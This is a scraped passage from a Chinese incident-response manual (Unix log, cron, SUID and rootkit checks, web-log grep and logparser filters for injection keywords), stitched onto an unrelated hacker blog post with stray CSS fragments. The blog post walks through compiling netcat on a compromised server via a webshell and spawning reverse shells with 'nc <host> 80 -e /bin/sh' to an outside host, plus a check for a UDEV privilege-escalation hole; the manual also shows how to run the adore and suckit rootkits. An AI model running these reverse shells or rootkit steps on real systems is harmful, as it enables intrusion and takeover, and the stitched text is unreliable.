run_level：系统运行级，即执行登记项的init级别。用于指定相应的登记项适用于哪一个运行级，即在哪一个运行级中被处理。如果该字段为空，那么相应的登记项将适用于所有
- 50 -
的运行级。在该字段中，可以同时指定一个或多个运行级，其中各运行级分别以数字0.1.2.3.4.5.6或字母a、b、c表示，且无需对其进行分隔。
action：动作关键字。用于指定init(M)命令或进程对相应进程（在“process”字段定义）所实施的动作。具体动作包括：
1．boot：只有在引导过程中，才执行该进程，但不等待该进程的结束；当该进程死亡时，也不重新启动该进程。
2．bootwait：只有在引导过程中，才执行该进程，并等待进程的结束：当该进程死亡时，也不重新启动该进程。实际上，只有在系统被引导后，并从单用户方式进入多用户方式时，这些登记项才被处理；如果系统的默认运行级设置为2（即多用户方式），那么这些登记项在系统引导后将马上被处理。
3．initdefault：指定系统的默认运行级。系统启动时，init将首先查找该登记项。如果存在init将据此决定系统最初要进入的运行级。具体来说，init将指定登记项“run_level\"字段中的最大数字（即最高运行级）为当前系统的默认运行级；如果该字段为空，那么将其解释为“0123456”，并以“6”作为默认运行级。如果不存在该登记项，那么init将要求用户在系统启动时指定一个最初的运行级。
4．off：如果相应的进程正在运行，那么就发出一个警告信号，等待20秒后，再通过杀死信号强行终止该进程。如果相应的进程并不存在那么就忽略该登记项。
5．once：启动相应的进程，但不等待该进程结束便继续处理/etc/inittab文件中的下一个登记项；当该进程死亡时，init也不重新启动该进程。注意：在从一个运行级进入另一个运行级时，如果相应的进程仍然在运行，那么init就不重新启动该进程。
6．ondemand：与“respawn”的功能完全相同，但只用于运行级为a、b或c的登记项。 7．powerfail：只在init接收到电源失败信号时执行相应的进程，但不等待该进程结束。 8．powerwait：只在init接收到电源失败信号时执行相应的进程，并在继续对/etc/inittab文件进行任何处理前等待该进程结束。 网管u家u.bitscn@com
9．respawn：如果相应的进程还不存在，那么init就启动该进程，同时不等待该进程的结束就继续扫描/etc/inittab文件；当该进程死亡时，init将重新启动该进程。如果相应的进程已经存在，那么init将忽略该登记项并继续扫描/etc/inittab文件。
10．sysinit：只有在启动或重新启动系统并首先进入单用户时，init才执行这些登记项。而在系统从运行级1－6进入单用户方式时，init并不执行这些登记项。\"action”字段为“sysinit”的登记项在“run_level”字段不指定任何运行级。
11．wait：启动进程并等待其结束，然后再处理/etc/inittab文件中的下一个登记项。 process：所要执行的shell命令。任何合法的shell语法均适用于该字段。
- 51 -
根据以上说明仔细查看/etc/inittab中是否有可疑项加载，下面举一个系统被安装后门后/etc/inittab中的相关语句
#0:2345:once:/usr/sbin/ttyload /etc/crontab
crontab计划任务的配置文件分两种，一种是全局计划任务配置文件：/etc/crontab，还有一类是用户的计划任务配置文件，位于：/var/spool/cron/，这两个地方需要我们仔细检查，确认是否有后门在此加载。
2.2.1.4 日志与文件
系统日志
Unix操作系统有很多在应急响应中可以提供重要线索的日志文件,不仅有和登录,启动,关闭等系统活动有关的日志,还有和网络服务相关的日志，Linux存放在/var/log下，Solaris存放在/var/adm下。
（1）syslog日志
syslog日志文件是最重要的文件，存放Unix内部程序和子系统的事件，我们可以通过修改配置文件/etc/syslog.conf来控制syslog的活动。linux的syslog信息存放在/var/log/messages中，solaris中的信息存放在/var/adm/messages中
（2）su日志
攻击者很多时候会利用su命令试图获取对系统root访问权限，Unix记录了系统上每次对执行su命令的尝试，日志显示试图执行su命令的时间和日期等信息。下面是一段/var/log/messages中的日志记录
Mar 22 11:11:34 abc PAM_pwdb[999]:authentication failure;cross(uid=500)->root for su service
此类提升权限的信息需要我们引起足够的重视，很有可能是入侵者留下的痕迹。 （3）cron日志
cron指Unix允许用户设定在某一时间执行程序，日志文件默认记录在/var/log/cron中
- 52 -
（4）登录日志
通过ssh登录的信息，存放在/var/log/secure中，下面是一个ssh暴力破解密码的日志记录
（5）shell日志
bash的历史记录存放在用户主目录下.bash_history中，用户所有输入的命令都会记录，如果攻击者未删除此日志，就可以仔细分析并判断攻击者的行为，比如：攻击者得到一个低权限用户，然后编译漏洞利用程序提升权限，在这里就可以记录他输入的命令。
- 53 -
（6）apache日志
Apache HTTP服务器提供了非常全面而灵活的日志记录功能，利用Apache的日志文件可以反馈出服务器的访问信息，错误信息等。主要包含Apache访问日志access_log和错误日志error_log等
以rpm方式安装的apache的日志存放在/var/log/httpd中（如图），使用源码安装的apache的日志存放在apache安装目录log文件夹中
SUID文件
SUID 代表Set User ID, SGID代表Set Group ID，当一个可执行文件被设置SUID时，任何用户运行此文件时，都将以文件属主的权限执行，如图：passwd命令被设置SUID
- 54 -
我们可以使用find命令搜索硬盘中所有SUID文件，注意观察搜索结果，看是否有可疑文件。
find / -perm -004000 –type f –print
2.2.1.5 RPM完整性检查
在Linux系统下可以使用rpm –V <软件包名>来判断软件包中的文件是否被修改，例如：
也可以使用 rpm –Va 命令来列出系统中所有发生过修改的软件包（包括可执行文件、配置文件等）。
命令将列出校验失败的文件，含义如下：
S M 5 L D U 大小改变 权限改变 MD5改变 连接改变 设备改变 用户改变
- 55 -
G T missing 组改变 日期和时间改变 文件丢失 2.2.1.6 网络连接
查看系统当前开放的端口可以使用命令netstat –anp，列出本机开放的端口，端口对应的进程的PID值，连接状态等信息
使用命令lsof –i也可以查看系统当前开放的端口及端口对应的进程的PID值等信息
- 56 -
2.2.2 UNIX/Linux恶意代码监测
本章节描述了常见恶意代码检查工具的使用方法和技巧，同时列举了常见恶意程序的原理和分类，不能完整覆盖全部已知恶意程序。
如需要了解更多的恶意程序查杀实例，请参考《常见恶意程序查杀指南》。
2.2.2.1 用户模式rootkit-lrk5检测
LRK5 是一种工作在用户级（ring3)下的rootkit，通过替换系统原有文件的方式实现隐藏功能。
检测方式主要有两种： 1、文件完整性工具 Tripwire 需要基准校验库 2、专用rootkit检测工具 Chkrootkit Rootkithunter
2.2.2.2 Rootkit-redstorm使用检测
1、下载解压redstorm压缩包toolkit.gz，使用./install安装。
- 57 -
2、安装后可只用/bin/…/hate/sk命令执行隐藏等操作。
3、使用rkhunter –c 命令可检查出系统感染r3dstorm rootkit。
- 58 -
2.2.2.3 LKM Rootkit-Adore使用检测
根据系统的类型，攻击者有不同的方法来对内核进行修改，在N种Unix系统上修改内核最简单的方法就是利用系统本身的加载的内核模块(LKM)的功能，因此大多数的内核级Rootkit通过利用LKM动态地将内核更新来提供新功能，新添加的模块扩展了内核，修改了系统调用表，同时对内核和其他使用内核的所有东西有了完全访问权。
下面看一个LKM rootkit实例-Adore：
编译运行adore，configure后需修改Makefile中的INC为系统对应位置。relink时选择一个LKM，使用startadore运行adore。
- 59 -
使用adore隐藏某进程，找到gedit的pid为2113，使用./ava i 2113命令隐藏该进程，以下第二个截图中的gedit被隐藏。
- 60 -
- 61 -
使用adore隐藏文件a，执行ava h ./a 后用ls –a命令无法看到文件a，执行ava u ./a后，文件a恢复显示。
使用rkhunter -c命令检测系统，可看到8个可疑文件。
- 62 -
2.2.2.4 /dev/kmen rootkit使用检测
/dev/kmem包含内核自身存储空间印象，当前正在运行的内核代码也位于这部分内存空间中。通过/dev/kmem修改内存中的内核，Sd和Devik 编写代码搜索/dev/kemen，查找系统调用表， 例如：SYS_open、SYS_read、SYS_execve
然后通过下面两个自己实现的函数来达到修改系统调用表的目的，从而实现rootkit功能。 rkm(read kernel memory)读取内核空间各个有用的项 wkm(write kernel memory)直接向内核存储空间写入代码 下面看下/dev/kmen rootkit实例-suckit
编译生成可执行程序sk。使用命令./deps，make。
初次使用./sk 或./sk C命令，配置suckit，选择隐藏文件的前缀及根目录，同时配置密码。
- 63 -
运行sk，输入密码后，可使用sk h pid 隐藏进程。
使用工具检测检测未发现明显异常。可依据警告项或无法检测的项目进一步分析。
- 64 -
2.3 WEB检测技术
2.3.1 WEB日志分析
2.3.1.1 IIS日志
2.3.1.1.1 IIS日志路径
IIS日志默认保存在%systemroot%\\system32\\LogFiles\\目录下
对于虚拟主机，可使用findweb.vbs 脚本进行检查，详情参考本文档 1.2.1.4 节。
- 65 -
2.3.1.1.2 IIS日志格式定义
注：每条日志记录的时间均为GMT标准时间，计算时间需要GMT+8
2.3.1.2 Apache日志
2.3.1.2.1 Apache日志路径
Linux系统中，apache的访问日志默认位置为 /var/log/httpd/access.log
Windwos 系统中，apache的访问日志默认位置为apache安装目录下的logs目录中的access.log。
若日志不在默认路径，可查看配置文件httpd.conf中CustomLog字段。
2.3.1.2.2 Apache日志格式定义
192.168.10.252 - - [30/Apr/2009:14:56:00 +0800] \"GET /index.php HTTP/1.0\" 200 5172
\"GET /index.php 192.168.10.252 [30/Apr/2009:14:56:00 +0800] HTTP/1.0\" 200 5172 远程IP地址 注：
访问时间 请求路径 状态值 传输数据大小 默认配置的apache日志只记录common类型，apache对common类型的默认定义为LogFormat \"%h %l %u %t \\\"%r\\\" %>s %b\" common，这些信息不足以支撑一般的行为分析，建议使用combined类型，combined类型的默认定义为 LogFormat \"%h %l %u %t
\\\"%r\\\" %>s %b \\\"%{Referer}i\\\" \\\"%{User-Agent}i\\\"\" combined （也可以根据用户需求自定义）。 启用方法为：注释掉默认使用的CustomLog logs/access.log common 将#CustomLog \"logs/access.log\" combined 前的注释符去掉以将其启用。 重新启动apache或 kill –HUP `cat /var/run/httpd.pid`。
- 66 -
2.3.1.3 WEB事件分析
2.3.1.3.1 远程扫描
远程扫描行为一般通过两方面进行判断：1、时间连续性；2、User-Agent 1、 时间连续性
当WEB日志除出现在极短时间内的对不同页面且来自同一IP地址的连续访问请求，则可认为该IP地址对主机发起扫描。 2、 User-Agent
2.1、IIS日志
大部分扫描器在扫描时，会构造自己特有的User-Agent字段。通过搜索User-Agent字段中的特殊值可以判断扫描行为。
IIS日志，可使用logparser进行自动化检索，命令格式：
logparser -i:iisw3c -o:csv \"select * into log.csv from ex081028.log where cs(User-Agent) LIKE '%Some-User-Agent-Keyword%'\" 参数解释：
-i:iisw3c，-i（input）参数含义为输入文件的类型，这里为IIS日志，若忽略该参数，则logparser会自动检查格式
-o:csv，-o（output）定义了输出格式，这里输出格式为CSV，如果忽略该参数，则在标准输出上输出结果
Select … into file.csv from file.log，从file.log日志中选择特定的字段，并将结果写入file.csv文件中，如果没有-o参数，则此处应忽略 into file.csv
Select …cs(User-Agent) LIKE %keywords%，LIKE用于实现模糊匹配，如：此处就实现了对cs(User-Agent)字段的匹配，检查该字段中是否包含keyword。 2.2、Apache日志（UNIX/Linux）
对于apache日志，若想通过User-Agent筛选，则需选择记录combined格式的日志.。
筛选方式可通过简单的grep进行，命令格式： grep -i \"Some-User-Agent-Keyword\" access.log 参数解释： -i：不区分大小写
- 67 - 2.3.1.3.2 注入攻击
在WEB日志中进行注入分析时，可通过对请求的关键字进行过滤，以检测可能出现的注入攻击。
但在默认配置下，IIS和Apache日志均不记录POST数据和COOKIE内容，因此只能检测基于URL方式的GET注入。
1、 IIS日志过滤
logparser -i:iisw3c -o:csv \"select * into log.csv from ex081028.log where cs-uri-query LIKE '%select%'\"
以上命令对cs-uri-query字段进行过滤，查找关键字select 类似的关键字还包括：
;,and,|,exec,insert,select,delete,update,count,*,%,chr,mid,master,truncate,char,declare（使用逗号分隔） 2、 Apache日志过滤
grep -i \"GET.*\\.php?.*=.*union.*select.*\" apache.log 查找形如 GET /xxx.php?id=10 union select …..的请求
2.3.1.3.3 URL型跨站脚本
URL型跨站大多是由于通过URL传递参数到程序后，程序对参数未做过滤而直接展示在页面上，从而形成跨站。
1、 IIS日志过滤
logparser \"select * from ex081028.log where cs-uri-query LIKE '%script%'\" 2、 Apache日志过滤
grep -i \"GET.*\\ 2.3.1.3.4 错误参数构造 部分程序在接收参数时，不但未对参数进行过滤，还未对参数是否在程序的处理范围之内也未做检查，如：一些存在问题的下载程序往往会将下载目标文件作为其参数，而在用户传递下载目标文件这一参数给下载程序时，程序本身不对参数进行严格过滤，因此可能导致用户恶意下载一些非授权文件和源程序。 1、 IIS日志过滤 - 68 - logparser \"select * from ex081028.log where cs-uri-stem LI KE '%article/show.asp%' and cs-uri-query not LIKE '%normal%'\" 其中cs-uri-stem用于标明请求目标为arctile/show.asp文件，cs-uri-query为对目标页面show.asp发出的请求，该语句用于查找所有对arctile/show.asp文件发起的请求字符串中不包含normal字符串的日志。 即，对arctile/show.asp的正常请求中，必定包含字符串normal，当恶意用户进行构造时，可能会修改原有的正常字符串normal。 同理，也可以搜索用户所关心的内容，如： logparser \"select * from ex081028.log where cs-uri-stem LI KE '%download.asp%' and cs-uri-query LIKE '%.asp%'\" 检查所有对download.asp发起的请求中，是否包含“.asp”。 2、 Apache日志过滤 假设index.php接受正常请求格式为：index.php?img=xxxLogoyyy 以下grep语句用于过滤所有index.php接受img参数的请求，并且将正常请求从其中过滤，只打印异常请求： grep -i \"GET.*index\\.php?img=.*\" | grep -v -i \"GET.*\\.php?.*=.*logo.*\" 另外，可进行如下匹配： grep –i “GET.*viewdoc\\.php?.*type=edit.*HTTP” 搜索对viewdoc.php文件发起的请求中，是否有包含type=edit的字符串。 三. 报告输出 3.1 报告模板 应急响应报告模板.doc - 69 - 3.2 报告内容 应急响应报告应尽量详细的描述整个处理过程，其中包括： 具体的处理操作 如：执行哪些命令，使用哪些工具，从这些命令和工具中可以分析出哪些结果。 操作的时间范围 为避免操作引起的日志影响分析和意外发生，应记录每次操作的时间，时间可不必过于精确，但要记录下大致时间范围。 如：15:30-15:40，使用XX工具对系统进行XX操作。 最终处理结果 每项可能对结果有直接影响的操作结果应被记录在报告中。 原因分析 根据现场分析的结果，得出引起事件的原因。 安全建议 -------------------------------------------------------------------------------------------------------------- Author:zerosoul(零魂) http://hi.baidu.com/0soul 转载请注明出处，否则就别转....(昨天又不小心搜到篇自己以前写的文章，转了很多地方，没见一个写版权的) 昨晚(应该是今天凌晨)玩了半天朋友给的Linux的WebShell，本来想实践一下UDEV提权呢，最后发现服务器貌似已经打过补丁了。 不过还是有其他的收获的，所以我就YY下Linux反弹shell的问题。 Linux提权绝大部分都靠的是Local Exploit。WebShell一般都可以执行命令，但是我们的EXP必须在可交互环境运行，否则如果直接在WebShell执行，即使能提权成功，我们也没法利用到。所以我们需要先反弹一个CmdLine Shell回来(直接说成CmdShell怕人误解...因为Win有个cmd.exe ^_^)，然后在命令行终端下执行EXP进行提权。 一般情况下，绝大多数人都会通过PHP WebShell的Back Connect功能弹回一个Shell，但是有时候会碰到服务器不支持PHP或者WebShell没法反弹的情况，比如这两天朋友给我的一个JSPShell所在服务器只支持JSP，不支持PHP。这时候，我们经典的netcat就可以派上用场了。 平时在Windows下做事的时候，在必要的情况下我们可以先在本机运行nc -vv -lp 1234监听端口，然后在肉鸡上nc 12.21.12.21 1234 -e cmd.exe给我们反弹一个CmdShell，这个方法在Linux仍然可行。 在本机监听后，在WebShell运行nc 12.21.12.21 1234 -e /bin/sh就能弹一个CmdLine Shell给我们。 - 70 - 但我们经常碰到的情况并不都是这么100%顺利的，像昨晚整的那两台，每台都是不能直接执行nc的。一台有nc，但执行从是不起作用，另外一台直接压根就没有nc.... 不过，这个难不倒我们，我们可以给他装一个嘛，比较快捷的方法是，我们可以到 http://netcat.sourceforge.net/download.php下载nc的源码，先在我们自己linux机器上编译好以 后把bin文件传上去(我开始传的我的Debian自带的netcat，结果仍然不能运行....)。如果还不行，那就把源码传上去，在目标机器上直接编译。 昨晚那两台机器，一台我是直接传的本地编译后的，一台是在目标机器上编译的。如果直接传的nc可以运行的话还比较好说，如果需要在目标机器上编译的话，这里有点小技巧: 因为在得到CmdLine Shell前，我们只能在WebShell里执行命令，一般每次只能执行一条，然后等回显。假如我们的WebShell在/var/www/site目录，那么我们每次执行命令默认的当前路径都是/var/www/site，而我们的netcat源码包解压在了/tmp/netcatsrc文件夹，这样的话，我们编译netcat的时候，configure还好说，可用/tmp/netcatsrc/configure命令，但下一步make的时候就不行了，因为当前路径是/var/www/site，而不是我们想要的/tmp/netcatsrc/，所以我们configure完了make的时候会报错。 解决这个问题其实也很简单，可以直接把两句写成一句就可以:cd /tmp/netcatsrc;make 用分号隔开写，把make跟在目录切换命令后面，这样编译的时候就不会报错了。(流浪猫教的..^_^) 在还没有得到CmdLine Shell的时候，这样的写法还是很有用的。 - 71 - 编译成功以后，我们就可以输入命令反弹Shell了(比如我这里nc路径是/tmp/nc): 本地nc -vv -lp 80后 SPACE: normal; LETTER-SPACING: normal; BORDER-COLLAPSE: separate; FONT-VARIANT: normal; widows: 2; orphans: 2\">/tmp/nc 202.xx.xx.250 80 -e /bin/sh就可以给我吗弹回来一个CmdLine Shell。效果如下图: ---------------- - 72 - 要注意反弹的Linux Shell是没有$提示符的哦，执行一句返回一句。 还有一点就是这里反弹Shell的时候我运行的是/bin/sh，当然运行/bin/bash也可以。 不过我觉得最好还是运行/bin/sh吧，因为/bin/sh的权限比/bin/bash放的更开一些 顺便说一下怎么判断目标是否有UDEV这个漏洞。 Linux我还不知道怎么样查看它是否打过这个补丁，所以我想了个比较简单的办法: 1.执行cat /proc/net/netlink,记录下PID A 2.执行ps aux | grep udev ,记下root的PID B 3.如果A = B - 1，则存在漏洞，否则不存在 这是我自己想的，因为获得PID的时候有这两种方法，所以我通过他们对比来判断，但我并不能确定我这方法是100%正确的，仅供参考。 效果如下图: 在反弹的Shell里执行，发现得到的PID不一样,2487 != 1230 - 73 - 在我自己机器上，PID一样，1184=1185-1 - 74 - 因篇幅问题不能全部显示，请点此查看更多更全内容